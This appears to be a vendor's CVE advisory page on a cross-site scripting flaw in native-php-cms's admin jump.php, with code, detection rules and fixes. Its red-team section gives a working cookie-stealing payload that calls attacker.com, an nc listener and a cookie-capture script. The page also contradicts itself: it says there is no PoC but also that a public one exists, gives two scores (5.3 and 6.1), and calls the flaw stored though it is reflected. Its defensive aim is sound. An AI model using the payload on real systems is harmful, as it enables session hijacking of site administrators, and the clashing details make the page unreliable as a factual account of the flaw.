☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0483

CVE-2025-0483 Cross-Site Scripting in Fanli2012
📅 PUBLISHED: 2025-01-15 19:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.33%
👁️
0.33% probability
8.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0483 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the native-php-cms version 1.0, developed by Fanli2012. The flaw resides in the /fladmin/jump.php file, where the message and error parameters are not properly sanitized before being rendered. An attacker can inject arbitrary JavaScript code into these parameters, which will execute in the context of an administrator's browser when the jump page is loaded. This can lead to session hijacking, credential theft, or defacement of the admin panel. The vulnerability is remotely exploitable with low complexity, requires no authentication, but does require user interaction (the admin must visit the crafted URL). No official patch has been released, and a public proof-of-concept (PoC) is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a crafted link.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a CMS admin context, a single click can lead to full admin account compromise.

Deep Dive & Mechanics

The vulnerability exists in the /fladmin/jump.php file. This file is typically used to display a "jump" or redirect message after an admin action (e.g., "Operation successful, redirecting..."). The message and error GET parameters are directly embedded into the HTML response without any sanitization or encoding.

Vulnerable Code Snippet (Conceptual):

<?php
$message = $_GET['message'];
$error = $_GET['error'];
?>
<html>
<body>
<div id="message"><?php echo $message; ?></div>
<div id="error"><?php echo $error; ?></div>
</body>
</html>

An attacker can craft a URL like:

http://target.com/fladmin/jump.php?message=<script>alert('XSS')</script>

When an admin visits this URL, the JavaScript executes in the admin's session context. This can be escalated to steal cookies, perform actions on behalf of the admin, or inject persistent XSS payloads.

Vulnerable vs. Patched Code

Vulnerable Code (native-php-cms 1.0):

// fladmin/jump.php
$message = $_GET['message'];
$error = $_GET['error'];
echo "<div id='message'>$message</div>";
echo "<div id='error'>$error</div>";

Patched Code (Hypothetical):

// fladmin/jump.php
$message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
$error = htmlspecialchars($_GET['error'], ENT_QUOTES, 'UTF-8');
echo "<div id='message'>$message</div>";
echo "<div id='error'>$error</div>";

The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection. Since no official patch exists, users must implement this manually.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target running native-php-cms 1.0.
  • Admin user must be logged in.

Exploit Steps:

  1. Craft a malicious URL:
    http://target.com/fladmin/jump.php?message=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  2. Send the link to the admin via email, social engineering, or other means.
  3. When the admin clicks the link, the script executes and exfiltrates the session cookie to the attacker's server.

Lab Setup:

  • Use a local Docker container or XAMPP to host the vulnerable CMS.
  • Set up a listener on the attacker machine: nc -lvnp 80
  • Use a simple PHP script to capture cookies:
    <?php
    $cookie = $_GET['cookie'];
    file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
    ?>
    

Blue Team (Defender)

Detection:

  • Monitor web server logs for requests to /fladmin/jump.php containing <script> or onerror patterns.
  • Use WAF rules to block XSS payloads in GET parameters.

Mitigation:

  • Apply input validation and output encoding as shown in the patched code.
  • Restrict access to /fladmin/ directory via .htaccess or firewall rules.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP GET requests to /fladmin/jump.php with parameters containing <script>, onerror, onload, or javascript:.
    • Outbound connections to unknown IPs on port 80/443 from the CMS server.
  • File:
    • Suspicious entries in cookies.txt or similar files on attacker-controlled servers.
  • Log:
    • Web server logs showing jump.php?message=<script> patterns.

Detection Engineering

YARA Rule

rule CVE_2025_0483_XSS_Jump {
    meta:
        description = "Detects XSS payloads targeting native-php-cms jump.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0483"
    strings:
        $xss1 = /jump\.php\?.*(message|error)=.*<script/i
        $xss2 = /jump\.php\?.*(message|error)=.*onerror/i
        $xss3 = /jump\.php\?.*(message|error)=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0483 XSS Attempt on native-php-cms jump.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in GET requests to /fladmin/jump.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - 'message=<script'
            - 'error=<script'
            - 'message=onerror'
            - 'error=onerror'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin messages (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-0483 XSS Attempt on native-php-cms jump.php";
    flow:to_server,established;
    content:"/fladmin/jump.php"; http_uri;
    content:"message="; http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Action:

    • Manually patch the /fladmin/jump.php file by adding htmlspecialchars() to all output of $_GET['message'] and $_GET['error'].
    • Restrict access to the /fladmin/ directory using .htaccess:
      <Directory "/var/www/html/fladmin">
          Require ip 192.168.1.0/24
      </Directory>
      
  2. Long-term Fix:

    • Upgrade to a maintained CMS or apply the vendor's patch when released.
    • Implement a Web Application Firewall (WAF) with XSS rules.
    • Conduct a full security audit of the CMS codebase.
  3. Detection:

    • Deploy the provided YARA, Sigma, and Suricata rules.
    • Monitor for anomalous admin behavior (e.g., unexpected redirects).

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0483/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.